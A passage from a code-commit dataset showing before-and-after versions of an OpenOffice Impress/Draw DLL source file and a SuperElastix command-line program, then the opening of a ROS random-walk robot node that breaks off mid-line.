aName( pGrfFilter->GetImportFormatTypeName( pGrfFilter->GetImportFormatNumberForShortName( aShortName ) ) );\n\n if ( *ppFilter && aShortName.EqualsIgnoreCaseAscii( \"PCD\" ) ) \/\/ there is a multiple pcd selection possible\n {\n sal_Int32 nBase = 2; \/\/ default Base0\n String aFilterTypeName( (*ppFilter)->GetRealTypeName() );\n if ( aFilterTypeName.CompareToAscii( \"pcd_Photo_CD_Base4\" ) == COMPARE_EQUAL )\n nBase = 1;\n else if ( aFilterTypeName.CompareToAscii( \"pcd_Photo_CD_Base16\" ) == COMPARE_EQUAL )\n nBase = 0;\n String aFilterConfigPath( RTL_CONSTASCII_USTRINGPARAM( \"Office.Common\/Filter\/Graphic\/Import\/PCD\" ) );\n FilterConfigItem aFilterConfigItem( aFilterConfigPath );\n aFilterConfigItem.WriteInt32( String( RTL_CONSTASCII_USTRINGPARAM( \"Resolution\" ) ), nBase );\n }\n\n SfxFilterMatcher aMatch( String::CreateFromAscii(\"draw\") );\n *ppFilter = aMatch.GetFilter4FilterName( aName );\n nReturn = ERRCODE_NONE;\n }\n else\n {\n nReturn = ERRCODE_ABORT;\n *ppFilter = NULL;\n }\n }\n }\n }\n }\n }\n else\n {\n nReturn = rMedium.GetError();\n }\n\n return nReturn;\n} *\/\n<commit_msg>INTEGRATION: CWS rt16 (1.13.80); FILE MERGED 2006\/08\/08 12:17:07 rt 1.13.80.1: #i68214# Obsolete svx headers removed<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: sddll.cxx,v $\n *\n * $Revision: 1.14 $\n *\n * last change: $Author: ihi $ $Date: 2006-08-29 14:19:08 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef _EEITEM_HXX \/\/autogen\n#include <svx\/eeitem.hxx>\n#endif\n\n#include <svx\/editeng.hxx>\n\n#ifndef _SVDOBJ_HXX \/\/autogen\n#include <svx\/svdobj.hxx>\n#endif\n#ifndef INCLUDED_SVTOOLS_MODULEOPTIONS_HXX\n#include <svtools\/moduleoptions.hxx>\n#endif\n#ifndef _FM_FMOBJFAC_HXX\n#include <svx\/fmobjfac.hxx>\n#endif\n#ifndef _SVDFIELD_HXX\n#include <svx\/svdfield.hxx>\n#endif\n#ifndef _OBJFAC3D_HXX\n#include <svx\/objfac3d.hxx>\n#endif\n\n#pragma hdrstop\n\n#include \"sddll.hxx\"\n#ifndef SD_DRAW_DOC_SHELL_HXX\n#include \"DrawDocShell.hxx\"\n#endif\n#ifndef SD_GRAPHIC_DOC_SHELL_HXX\n#include \"GraphicDocShell.hxx\"\n#endif\n#include \"sdresid.hxx\"\n#include \"sdobjfac.hxx\"\n#include \"cfgids.hxx\"\n#include \"strmname.h\"\n#include \"SdShapeTypes.hxx\"\n\n#include <svx\/SvxShapeTypes.hxx>\n#include <sfx2\/docfilt.hxx>\n#include <sfx2\/docfile.hxx>\n#include <sfx2\/fcontnr.hxx>\n#include <tools\/urlobj.hxx>\n#include <svx\/impgrf.hxx>\n#include <svtools\/FilterConfigItem.hxx>\n\n#ifndef _COM_SUN_STAR_UTIL_XARCHIVER_HPP_\n#include <com\/sun\/star\/util\/XArchiver.hpp>\n#endif\n\n#ifndef _COMPHELPER_PROCESSFACTORY_HXX_\n#include <comphelper\/processfactory.hxx>\n#endif\n\nusing namespace ::rtl;\nusing namespace ::com::sun::star;\n\n\n\/*************************************************************************\n|*\n|* Init\n|*\n\\************************************************************************\/\n\nvoid SdDLL::Init()\n{\n if ( SD_MOD() )\n return;\n\n SfxObjectFactory* pDrawFact = NULL;\n SfxObjectFactory* pImpressFact = NULL;\n\n if (SvtModuleOptions().IsImpress())\n pImpressFact = &::sd::DrawDocShell::Factory();\n\n if (SvtModuleOptions().IsDraw())\n pDrawFact = &::sd::GraphicDocShell::Factory();\n\n \/\/ the SdModule must be created\n SdModule** ppShlPtr = (SdModule**) GetAppData(SHL_DRAW);\n\n \/\/ #i46427#\n \/\/ The SfxModule::SfxModule stops when the first given factory\n \/\/ is 0, so we must not give a 0 as first factory\n if( pImpressFact )\n {\n (*ppShlPtr) = new SdModule( pImpressFact, pDrawFact );\n }\n else\n {\n (*ppShlPtr) = new SdModule( pDrawFact, pImpressFact );\n }\n\n if (SvtModuleOptions().IsImpress())\n {\n \/\/ Register the Impress shape types in order to make the shapes accessible.\n ::accessibility::RegisterImpressShapeTypes ();\n ::sd::DrawDocShell::Factory().SetDocumentServiceName( String( RTL_CONSTASCII_USTRINGPARAM( \"com.sun.star.presentation.PresentationDocument\" ) ) );\n }\n\n if (SvtModuleOptions().IsDraw())\n {\n ::sd::GraphicDocShell::Factory().SetDocumentServiceName( String( RTL_CONSTASCII_USTRINGPARAM( \"com.sun.star.drawing.DrawingDocument\" ) ) );\n }\n\n \/\/ register your view-factories here\n RegisterFactorys();\n\n \/\/ register your shell-interfaces here\n RegisterInterfaces();\n\n \/\/ register your controllers here\n RegisterControllers();\n\n \/\/ SvDraw-Felder registrieren\n SdrRegisterFieldClasses();\n\n \/\/ 3D-Objekt-Factory eintragen\n E3dObjFactory();\n\n \/\/ ::com::sun::star::form::component::Form-Objekt-Factory eintragen\n FmFormObjFactory();\n\n \/\/ factory for dummy import of old si-controls in 3.1 documents\n\/\/BFS02 SiImportFactory();\n\n \/\/ Objekt-Factory eintragen\n SdrObjFactory::InsertMakeUserDataHdl(LINK(&aSdObjectFactory, SdObjectFactory, MakeUserData));\n}\n\n\n\n\/*************************************************************************\n|*\n|* Exit\n|*\n\\************************************************************************\/\n\nvoid SdDLL::Exit()\n{\n \/\/ called directly befor unloading the DLL\n \/\/ do whatever you want, Sd-DLL is accessible\n\n \/\/ Objekt-Factory austragen\n SdrObjFactory::RemoveMakeUserDataHdl(LINK(&aSdObjectFactory, SdObjectFactory, MakeUserData));\n\n \/\/ the SdModule must be destroyed\n SdModule** ppShlPtr = (SdModule**) GetAppData(SHL_DRAW);\n delete (*ppShlPtr);\n (*ppShlPtr) = NULL;\n}\n\n\/*\nULONG SdDLL::DetectFilter(SfxMedium& rMedium, const SfxFilter** ppFilter,\n SfxFilterFlags nMust, SfxFilterFlags nDont)\n{\n ULONG nReturn = ERRCODE_ABORT; \/\/ Erkennung fehlgeschlagen, Filter ungueltig\n BOOL bStorage = FALSE;\n\n if( *ppFilter && (*ppFilter)->GetFilterFlags() & SFX_FILTER_PACKED )\n {\n uno::Reference< lang::XMultiServiceFactory > xSMgr( ::comphelper::getProcessServiceFactory() );\n uno::Reference< util::XArchiver > xPacker( xSMgr->createInstance( OUString::createFromAscii( \"com.sun.star.util.Archiver\" ) ), uno::UNO_QUERY );\n if( xPacker.is() )\n {\n \/\/ extract extra data\n OUString aPath( rMedium.GetOrigURL() );\n OUString aExtraData( xPacker->getExtraData( aPath ) );\n const OUString aSig1= OUString::createFromAscii( \"private:\" );\n String aTmp;\n aTmp += sal_Unicode( '?' );\n aTmp += String::CreateFromAscii(\"simpress\");\n const OUString aSig2( aTmp );\n INT32 nIndex1 = aExtraData.indexOf( aSig1 );\n INT32 nIndex2 = aExtraData.indexOf( aSig2 );\n if( nIndex1 == 0 && nIndex2 != -1 )\n return ERRCODE_NONE;\n }\n }\n else if (rMedium.GetError() == SVSTREAM_OK)\n {\n if ( rMedium.IsStorage() )\n {\n bStorage = TRUE;\n SotStorageRef xStorage = rMedium.GetStorage();\n if ( !xStorage.Is() )\n return ULONG_MAX;\n\n if( SvtModuleOptions().IsImpress() )\n {\n \/\/ Erkennung ueber contained streams (PowerPoint 97-Filter)\n String aStreamName = UniString::CreateFromAscii( RTL_CONSTASCII_STRINGPARAM( \"PowerPoint Document\" ) );\n if ( xStorage->IsContained( aStreamName ) && xStorage->IsStream( aStreamName ) )\n {\n String aFileName(rMedium.GetName());\n aFileName.ToUpperAscii();\n\n if( aFileName.SearchAscii( \".POT\" ) == STRING_NOTFOUND )\n *ppFilter = SfxFilter::GetFilterByName( pFilterPowerPoint97);\n else\n *ppFilter = SfxFilter::GetFilterByName( pFilterPowerPoint97Template );\n\n return ERRCODE_NONE;\n }\n }\n\n const SfxFilter* pFilter = *ppFilter;\n if ( *ppFilter )\n {\n if ( (*ppFilter)->GetFormat() == xStorage->GetFormat() )\n pFilter = *ppFilter;\n }\n\n if( !pFilter && SvtModuleOptions().IsImpress() )\n {\n SfxFilterMatcher aMatcher( String::CreateFromAscii(\"simpress\") );\n pFilter = aMatcher.GetFilter4ClipBoardId( xStorage->GetFormat() );\n if ( pFilter )\n *ppFilter = pFilter;\n }\n\n if( !pFilter && SvtModuleOptions().IsDraw() )\n {\n SfxFilterMatcher aMatcher( String::CreateFromAscii(\"sdraw\") );\n pFilter = aMatcher.GetFilter4ClipBoardId( xStorage->GetFormat() );\n if ( pFilter )\n *ppFilter = pFilter;\n }\n\n if ( pFilter &&\n ( pFilter->GetFilterFlags() & nMust ) == nMust &&\n ( pFilter->GetFilterFlags() & nDont ) == 0 )\n {\n *ppFilter = pFilter;\n nReturn = ERRCODE_NONE;\n }\n else\n {\n *ppFilter = NULL;\n nReturn = ERRCODE_NONE;\n }\n }\n\n String aFileName( rMedium.GetName() );\n aFileName.ToUpperAscii();\n\n if ( nReturn == ERRCODE_ABORT )\n {\n if( bStorage ) \/\/ aber keine Clipboard-Id #55337#\n {\n *ppFilter = NULL;\n }\n else\n {\n \/\/ Vektorgraphik?\n SvStream* pStm = rMedium.GetInStream();\n\n if( !pStm )\n nReturn = ERRCODE_IO_GENERAL;\n else\n {\n pStm->Seek( STREAM_SEEK_TO_BEGIN );\n\n const String aFileName( rMedium.GetURLObject().GetMainURL( INetURLObject::NO_DECODE ) );\n GraphicDescriptor aDesc( *pStm, &aFileName );\n GraphicFilter* pGrfFilter = GetGrfFilter();\n\n if( !aDesc.Detect( FALSE ) )\n {\n if( SvtModuleOptions().IsImpress() )\n {\n *ppFilter = NULL;\n nReturn = ERRCODE_ABORT;\n INetURLObject aURL( aFileName );\n if( aURL.getExtension().equalsIgnoreAsciiCaseAscii( \"cgm\" ) )\n {\n sal_uInt8 n8;\n pStm->Seek( STREAM_SEEK_TO_BEGIN );\n *pStm >> n8;\n if ( ( n8 & 0xf0 ) == 0 ) \/\/ we are supporting binary cgm format only, so\n { \/\/ this is a small test to exclude cgm text\n const String aName = UniString::CreateFromAscii( RTL_CONSTASCII_STRINGPARAM( \"CGM - Computer Graphics Metafile\" ) );\n SfxFilterMatcher aMatch( String::CreateFromAscii(\"simpress\") );\n *ppFilter = aMatch.GetFilter4FilterName( aName );\n nReturn = ERRCODE_NONE;\n }\n }\n }\n }\n else\n {\n if( SvtModuleOptions().IsDraw() )\n {\n String aShortName( aDesc.GetImportFormatShortName( aDesc.GetFileFormat() ) );\n const String aName( pGrfFilter->GetImportFormatTypeName( pGrfFilter->GetImportFormatNumberForShortName( aShortName ) ) );\n\n if ( *ppFilter && aShortName.EqualsIgnoreCaseAscii( \"PCD\" ) ) \/\/ there is a multiple pcd selection possible\n {\n sal_Int32 nBase = 2; \/\/ default Base0\n String aFilterTypeName( (*ppFilter)->GetRealTypeName() );\n if ( aFilterTypeName.CompareToAscii( \"pcd_Photo_CD_Base4\" ) == COMPARE_EQUAL )\n nBase = 1;\n else if ( aFilterTypeName.CompareToAscii( \"pcd_Photo_CD_Base16\" ) == COMPARE_EQUAL )\n nBase = 0;\n String aFilterConfigPath( RTL_CONSTASCII_USTRINGPARAM( \"Office.Common\/Filter\/Graphic\/Import\/PCD\" ) );\n FilterConfigItem aFilterConfigItem( aFilterConfigPath );\n aFilterConfigItem.WriteInt32( String( RTL_CONSTASCII_USTRINGPARAM( \"Resolution\" ) ), nBase );\n }\n\n SfxFilterMatcher aMatch( String::CreateFromAscii(\"draw\") );\n *ppFilter = aMatch.GetFilter4FilterName( aName );\n nReturn = ERRCODE_NONE;\n }\n else\n {\n nReturn = ERRCODE_ABORT;\n *ppFilter = NULL;\n }\n }\n }\n }\n }\n }\n else\n {\n nReturn = rMedium.GetError();\n }\n\n return nReturn;\n} *\/\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n *\n * Copyright Leiden University Medical Center, Erasmus University Medical\n * Center and contributors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *=========================================================================*\/\n\n#include \"selxSuperElastixFilter.h\"\n#include \"selxAnyFileReader.h\"\n#include \"selxAnyFileWriter.h\"\n#include \"selxLogger.h\"\n#include \"selxGitInfo.h\"\n\n#include <boost\/algorithm\/string.hpp>\n#include <boost\/filesystem.hpp>\n#include <boost\/program_options.hpp>\n\n#include <iostream>\n#include <algorithm>\n#include <iterator>\n#include <string>\n#include <stdexcept>\n\ntemplate< class T >\nstd::ostream &\noperator<<( std::ostream & os, const std::vector< T > & v )\n{\n std::copy( v.begin(), v.end(), std::ostream_iterator< T >( os, \" \" ) );\n return os;\n}\n\nnamespace selx\n{\n \/\/ helper function to parse command line arguments for log level\n std::istream& operator>>(std::istream& in, selx::LogLevel& loglevel)\n {\n std::string token;\n in >> token;\n if (token == \"off\")\n loglevel = selx::LogLevel::OFF;\n else if (token == \"critical\")\n loglevel = selx::LogLevel::CRT;\n else if (token == \"error\")\n loglevel = selx::LogLevel::ERR;\n else if (token == \"warning\")\n loglevel = selx::LogLevel::WRN;\n else if (token == \"info\")\n loglevel = selx::LogLevel::INF;\n else if (token == \"debug\")\n loglevel = selx::LogLevel::DBG;\n else if (token == \"trace\")\n loglevel = selx::LogLevel::TRC;\n else\n in.setstate(std::ios_base::failbit);\n return in;\n }\n}\n\nint\nmain( int ac, char * av[] )\n{\n\n selx::Logger::Pointer logger = selx::Logger::New();\n \n typedef std::vector< std::string > VectorOfStringsType;\n typedef std::vector< boost::filesystem::path > VectorOfPathsType;\n\n boost::filesystem::path logPath;\n \/\/ default log level\n selx::LogLevel logLevel = selx::LogLevel::WRN;\n\n boost::filesystem::path configurationPath;\n VectorOfPathsType configurationPaths;\n\n VectorOfStringsType inputPairs;\n VectorOfStringsType outputPairs;\n\n boost::program_options::variables_map vm;\n\n try\n {\n boost::program_options::options_description desc(\"Allowed options\");\n desc.add_options()\n ( \"help\", \"produce help message\" )\n ( \"revision-sha\", \"produce git revision SHA-1 hash of SuperElastix source\" )\n (\"conf\", boost::program_options::value< VectorOfPathsType >(&configurationPaths)->required()->multitoken(), \"Configuration file: single or multiple Blueprints [.xml|.json]\")\n (\"in\", boost::program_options::value< VectorOfStringsType >(&inputPairs)->multitoken(), \"Input data: images, labels, meshes, etc. Usage arg: <name>=<path> (or multiple pairs)\")\n (\"out\", boost::program_options::value< VectorOfStringsType >(&outputPairs)->multitoken(), \"Output data: images, labels, meshes, etc. Usage arg: <name>=<path> (or multiple pairs)\")\n (\"graphout\", boost::program_options::value< boost::filesystem::path >(), \"Output Graphviz dot file\")\n (\"logfile\", boost::program_options::value< boost::filesystem::path >(&logPath), \"Log output file\")\n (\"loglevel\", boost::program_options::value< selx::LogLevel >(&logLevel), \"Log level [off|critical|error|warning|info|debug|trace]\")\n ;\n\n boost::program_options::store(boost::program_options::parse_command_line(ac, av, desc), vm);\n\n if( vm.count( \"help\" ) )\n {\n std::cout\n << \"SuperElastix GIT Revision SHA-1: \" << selx::GitInfo::GetRevisionSha() << '\\n'\n << desc << std::endl;\n return 0;\n }\n if (vm.count(\"revision-sha\"))\n {\n std::cout << selx::GitInfo::GetRevisionSha() << std::endl;\n return 0;\n }\n boost::program_options::notify(vm);\n }\n catch (std::exception& e)\n {\n std::cerr << \"Error: \" << e.what() << \"\\n\";\n std::cerr << \"See 'SuperElastix --help' for help\" << \"\\n\";\n return 1;\n }\n catch (...)\n {\n std::cerr << \"Unknown error!\" << \"\\n\";\n return 1;\n }\n\n try \n {\n \/\/ optionally, stream to log file\n std::ofstream outfile;\n if ( vm.count(\"logfile\") )\n {\n outfile = std::ofstream(logPath.c_str());\n logger->AddStream(\"logfile\", outfile);\n }\n\n logger->AddStream(\"cout\", std::cout);\n logger->SetLogLevel(logLevel);\n \n \/\/ instantiate a SuperElastixFilter that is loaded with default components\n selx::SuperElastixFilter::Pointer superElastixFilter = selx::SuperElastixFilter::New();\n\n superElastixFilter->SetLogger(logger);\n\n \/\/ create empty blueprint\n selx::Blueprint::Pointer blueprint = selx::Blueprint::New();\n blueprint->SetLogger(logger);\n for (const auto & configurationPath : configurationPaths)\n {\n blueprint->MergeFromFile(configurationPath.string());\n }\n\n if( vm.count( \"graphout\" ) )\n {\n blueprint->Write(vm[\"graphout\"].as< boost::filesystem::path >().string());\n }\n\n \/\/ The Blueprint needs to be set to superElastixFilter before GetInputFileReader and GetOutputFileWriter should be called.\n superElastixFilter->SetBlueprint(blueprint);\n\n \/\/ Store the readers so that they will not be destroyed before the pipeline is executed.\n std::vector< selx::AnyFileReader::Pointer > fileReaders;\n \/\/ Store the writers for the update call\n std::vector< selx::AnyFileWriter::Pointer > fileWriters;\n\n if( vm.count( \"in\" ) )\n {\n logger->Log( selx::LogLevel::INF, \"Preparing input data ... \");\n for( const auto & inputPair : inputPairs )\n {\n VectorOfStringsType nameAndPath;\n boost::split( nameAndPath, inputPair, boost::is_any_of( \"=\" ) ); \/\/ NameAndPath == { \"name\",\"path\" }\n const std::string & name = nameAndPath[ 0 ];\n const std::string & path = nameAndPath[ 1 ];\n\n \/\/ since we do not know which reader type we should instantiate for input \"name\",\n \/\/ we ask SuperElastix for a reader that matches the type of the source component \"name\"\n logger->Log( selx::LogLevel::INF, \"Preparing input '\" + name + \"': \" + path + \" ...\" );\n selx::AnyFileReader::Pointer reader = superElastixFilter->GetInputFileReader( name );\n reader->SetFileName( path );\n superElastixFilter->SetInput( name, reader->GetOutput() );\n fileReaders.push_back( reader );\n logger->Log( selx::LogLevel::INF, \"Preparing input '\" + name + \"': \" + path + \" ... Done\" );\n }\n logger->Log( selx::LogLevel::INF, \"Preparing input data ... Done\");\n }\n else\n {\n logger->Log( selx::LogLevel::INF, \"No input data specified.\");\n }\n\n if( vm.count( \"out\" ) )\n {\n logger->Log( selx::LogLevel::INF, \"Preparing output data ... \");\n for( const auto & outputPair : outputPairs )\n {\n VectorOfStringsType nameAndPath;\n boost::split( nameAndPath, outputPair, boost::is_any_of( \"=\" ) ); \/\/ NameAndPath == { \"name\",\"path\" }\n const std::string & name = nameAndPath[ 0 ];\n const std::string & path = nameAndPath[ 1 ];\n\n \/\/ since we do not know which writer type we should instantiate for output \"name\",\n \/\/ we ask SuperElastix for a writer that matches the type of the sink component \"name\"\n logger->Log( selx::LogLevel::INF, \"Preparing output '\" + name + \"': \" + path + \" ...\" );\n selx::AnyFileWriter::Pointer writer = superElastixFilter->GetOutputFileWriter( name );\n writer->SetFileName( path );\n writer->SetInput( superElastixFilter->GetOutput( name ) );\n fileWriters.push_back( writer );\n logger->Log( selx::LogLevel::INF, \"Preparing output '\" + name + \"': \" + path + \" ... Done\" );\n }\n }\n else\n {\n logger->Log( selx::LogLevel::INF, \"No output data specified.\");\n }\n\n superElastixFilter->Update();\n\n \/* Execute SuperElastix by updating the writers *\/\n logger->Log( selx::LogLevel::INF, \"Executing ...\");\n for( auto & writer : fileWriters )\n {\n writer->Update();\n }\n logger->Log(selx:: LogLevel::INF, \"Executing ... Done\");\n }\n catch( std::exception & e )\n {\n logger->Log( selx::LogLevel::CRT, \"Executing ... Error\");\n logger->Log( selx::LogLevel::CRT, e.what());\n std::cerr << e.what();\n return 1;\n }\n catch( ... )\n {\n logger->Log( selx::LogLevel::CRT, \"Executing ... Error\");\n logger->Log( selx::LogLevel::CRT, \"Exception of unknown type!\");\n std::cerr << \"Exception of unknown type!\";\n return 1;\n }\n\n return 0;\n}\n<commit_msg>BUG: Remove extra call to update<commit_after>\/*=========================================================================\n *\n * Copyright Leiden University Medical Center, Erasmus University Medical\n * Center and contributors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *=========================================================================*\/\n\n#include \"selxSuperElastixFilter.h\"\n#include \"selxAnyFileReader.h\"\n#include \"selxAnyFileWriter.h\"\n#include \"selxLogger.h\"\n#include \"selxGitInfo.h\"\n\n#include <boost\/algorithm\/string.hpp>\n#include <boost\/filesystem.hpp>\n#include <boost\/program_options.hpp>\n\n#include <iostream>\n#include <algorithm>\n#include <iterator>\n#include <string>\n#include <stdexcept>\n\ntemplate< class T >\nstd::ostream &\noperator<<( std::ostream & os, const std::vector< T > & v )\n{\n std::copy( v.begin(), v.end(), std::ostream_iterator< T >( os, \" \" ) );\n return os;\n}\n\nnamespace selx\n{\n \/\/ helper function to parse command line arguments for log level\n std::istream& operator>>(std::istream& in, selx::LogLevel& loglevel)\n {\n std::string token;\n in >> token;\n if (token == \"off\")\n loglevel = selx::LogLevel::OFF;\n else if (token == \"critical\")\n loglevel = selx::LogLevel::CRT;\n else if (token == \"error\")\n loglevel = selx::LogLevel::ERR;\n else if (token == \"warning\")\n loglevel = selx::LogLevel::WRN;\n else if (token == \"info\")\n loglevel = selx::LogLevel::INF;\n else if (token == \"debug\")\n loglevel = selx::LogLevel::DBG;\n else if (token == \"trace\")\n loglevel = selx::LogLevel::TRC;\n else\n in.setstate(std::ios_base::failbit);\n return in;\n }\n}\n\nint\nmain( int ac, char * av[] )\n{\n\n selx::Logger::Pointer logger = selx::Logger::New();\n \n typedef std::vector< std::string > VectorOfStringsType;\n typedef std::vector< boost::filesystem::path > VectorOfPathsType;\n\n boost::filesystem::path logPath;\n \/\/ default log level\n selx::LogLevel logLevel = selx::LogLevel::WRN;\n\n boost::filesystem::path configurationPath;\n VectorOfPathsType configurationPaths;\n\n VectorOfStringsType inputPairs;\n VectorOfStringsType outputPairs;\n\n boost::program_options::variables_map vm;\n\n try\n {\n boost::program_options::options_description desc(\"Allowed options\");\n desc.add_options()\n ( \"help\", \"produce help message\" )\n ( \"revision-sha\", \"produce git revision SHA-1 hash of SuperElastix source\" )\n (\"conf\", boost::program_options::value< VectorOfPathsType >(&configurationPaths)->required()->multitoken(), \"Configuration file: single or multiple Blueprints [.xml|.json]\")\n (\"in\", boost::program_options::value< VectorOfStringsType >(&inputPairs)->multitoken(), \"Input data: images, labels, meshes, etc. Usage arg: <name>=<path> (or multiple pairs)\")\n (\"out\", boost::program_options::value< VectorOfStringsType >(&outputPairs)->multitoken(), \"Output data: images, labels, meshes, etc. Usage arg: <name>=<path> (or multiple pairs)\")\n (\"graphout\", boost::program_options::value< boost::filesystem::path >(), \"Output Graphviz dot file\")\n (\"logfile\", boost::program_options::value< boost::filesystem::path >(&logPath), \"Log output file\")\n (\"loglevel\", boost::program_options::value< selx::LogLevel >(&logLevel), \"Log level [off|critical|error|warning|info|debug|trace]\")\n ;\n\n boost::program_options::store(boost::program_options::parse_command_line(ac, av, desc), vm);\n\n if( vm.count( \"help\" ) )\n {\n std::cout\n << \"SuperElastix GIT Revision SHA-1: \" << selx::GitInfo::GetRevisionSha() << '\\n'\n << desc << std::endl;\n return 0;\n }\n if (vm.count(\"revision-sha\"))\n {\n std::cout << selx::GitInfo::GetRevisionSha() << std::endl;\n return 0;\n }\n boost::program_options::notify(vm);\n }\n catch (std::exception& e)\n {\n std::cerr << \"Error: \" << e.what() << \"\\n\";\n std::cerr << \"See 'SuperElastix --help' for help\" << \"\\n\";\n return 1;\n }\n catch (...)\n {\n std::cerr << \"Unknown error!\" << \"\\n\";\n return 1;\n }\n\n try \n {\n \/\/ optionally, stream to log file\n std::ofstream outfile;\n if ( vm.count(\"logfile\") )\n {\n outfile = std::ofstream(logPath.c_str());\n logger->AddStream(\"logfile\", outfile);\n }\n\n logger->AddStream(\"cout\", std::cout);\n logger->SetLogLevel(logLevel);\n \n \/\/ instantiate a SuperElastixFilter that is loaded with default components\n selx::SuperElastixFilter::Pointer superElastixFilter = selx::SuperElastixFilter::New();\n\n superElastixFilter->SetLogger(logger);\n\n \/\/ create empty blueprint\n selx::Blueprint::Pointer blueprint = selx::Blueprint::New();\n blueprint->SetLogger(logger);\n for (const auto & configurationPath : configurationPaths)\n {\n blueprint->MergeFromFile(configurationPath.string());\n }\n\n if( vm.count( \"graphout\" ) )\n {\n blueprint->Write(vm[\"graphout\"].as< boost::filesystem::path >().string());\n }\n\n \/\/ The Blueprint needs to be set to superElastixFilter before GetInputFileReader and GetOutputFileWriter should be called.\n superElastixFilter->SetBlueprint(blueprint);\n\n \/\/ Store the readers so that they will not be destroyed before the pipeline is executed.\n std::vector< selx::AnyFileReader::Pointer > fileReaders;\n \/\/ Store the writers for the update call\n std::vector< selx::AnyFileWriter::Pointer > fileWriters;\n\n if( vm.count( \"in\" ) )\n {\n logger->Log( selx::LogLevel::INF, \"Preparing input data ... \");\n for( const auto & inputPair : inputPairs )\n {\n VectorOfStringsType nameAndPath;\n boost::split( nameAndPath, inputPair, boost::is_any_of( \"=\" ) ); \/\/ NameAndPath == { \"name\",\"path\" }\n const std::string & name = nameAndPath[ 0 ];\n const std::string & path = nameAndPath[ 1 ];\n\n \/\/ since we do not know which reader type we should instantiate for input \"name\",\n \/\/ we ask SuperElastix for a reader that matches the type of the source component \"name\"\n logger->Log( selx::LogLevel::INF, \"Preparing input '\" + name + \"': \" + path + \" ...\" );\n selx::AnyFileReader::Pointer reader = superElastixFilter->GetInputFileReader( name );\n reader->SetFileName( path );\n superElastixFilter->SetInput( name, reader->GetOutput() );\n fileReaders.push_back( reader );\n logger->Log( selx::LogLevel::INF, \"Preparing input '\" + name + \"': \" + path + \" ... Done\" );\n }\n logger->Log( selx::LogLevel::INF, \"Preparing input data ... Done\");\n }\n else\n {\n logger->Log( selx::LogLevel::INF, \"No input data specified.\");\n }\n\n if( vm.count( \"out\" ) )\n {\n logger->Log( selx::LogLevel::INF, \"Preparing output data ... \");\n for( const auto & outputPair : outputPairs )\n {\n VectorOfStringsType nameAndPath;\n boost::split( nameAndPath, outputPair, boost::is_any_of( \"=\" ) ); \/\/ NameAndPath == { \"name\",\"path\" }\n const std::string & name = nameAndPath[ 0 ];\n const std::string & path = nameAndPath[ 1 ];\n\n \/\/ since we do not know which writer type we should instantiate for output \"name\",\n \/\/ we ask SuperElastix for a writer that matches the type of the sink component \"name\"\n logger->Log( selx::LogLevel::INF, \"Preparing output '\" + name + \"': \" + path + \" ...\" );\n selx::AnyFileWriter::Pointer writer = superElastixFilter->GetOutputFileWriter( name );\n writer->SetFileName( path );\n writer->SetInput( superElastixFilter->GetOutput( name ) );\n fileWriters.push_back( writer );\n logger->Log( selx::LogLevel::INF, \"Preparing output '\" + name + \"': \" + path + \" ... Done\" );\n }\n }\n else\n {\n logger->Log( selx::LogLevel::INF, \"No output data specified.\");\n }\n\n \/* Execute SuperElastix by updating the writers *\/\n logger->Log( selx::LogLevel::INF, \"Executing ...\");\n for( auto & writer : fileWriters )\n {\n writer->Update();\n }\n logger->Log(selx:: LogLevel::INF, \"Executing ... Done\");\n }\n catch( std::exception & e )\n {\n logger->Log( selx::LogLevel::CRT, \"Executing ... Error\");\n logger->Log( selx::LogLevel::CRT, e.what());\n std::cerr << e.what();\n return 1;\n }\n catch( ... )\n {\n logger->Log( selx::LogLevel::CRT, \"Executing ... Error\");\n logger->Log( selx::LogLevel::CRT, \"Exception of unknown type!\");\n std::cerr << \"Exception of unknown type!\";\n return 1;\n }\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"ros\/ros.h\"\n#include \"geometry_msgs\/Twist.h\"\n#include \"sensor_msgs\/LaserScan.h\"\n#include <nav_msgs\/Odometry.h>\n#include \"std_msgs\/String.h\"\n\n\n#include <cstdlib> \/\/ Needed for rand()\n#include <ctime> \/\/ Needed to seed random number generator with a time value\n\nfloat prevclosestRange = 0;\ndouble linear_x;\ndouble angular_z;\n\n\/\/pose of the robot\ndouble px;\ndouble py;\ndouble theta;\ndouble prevpx;\ndouble prevpy;\nbool isRotate;\n\nint checkcount=0;\n\nclass RandomWalk {\n\t\tpublic:\n\t\t\/\/ Construst a new RandomWalk object and hook up this ROS node\n\t\t\/\/ to the simulated robot's velocity control and laser topics\n\t\tRandomWalk(ros::NodeHandle& nh) :\n\t\tfsm(FSM_MOVE_FORWARD),\n\t\trotateStartTime(ros::Time::now()),\n\t\trotateDuration(0.f) {\n\t\t\/\/ Initialize random time generator\n\t\tsrand(time(NULL));\n\t\t\/\/ Advertise a 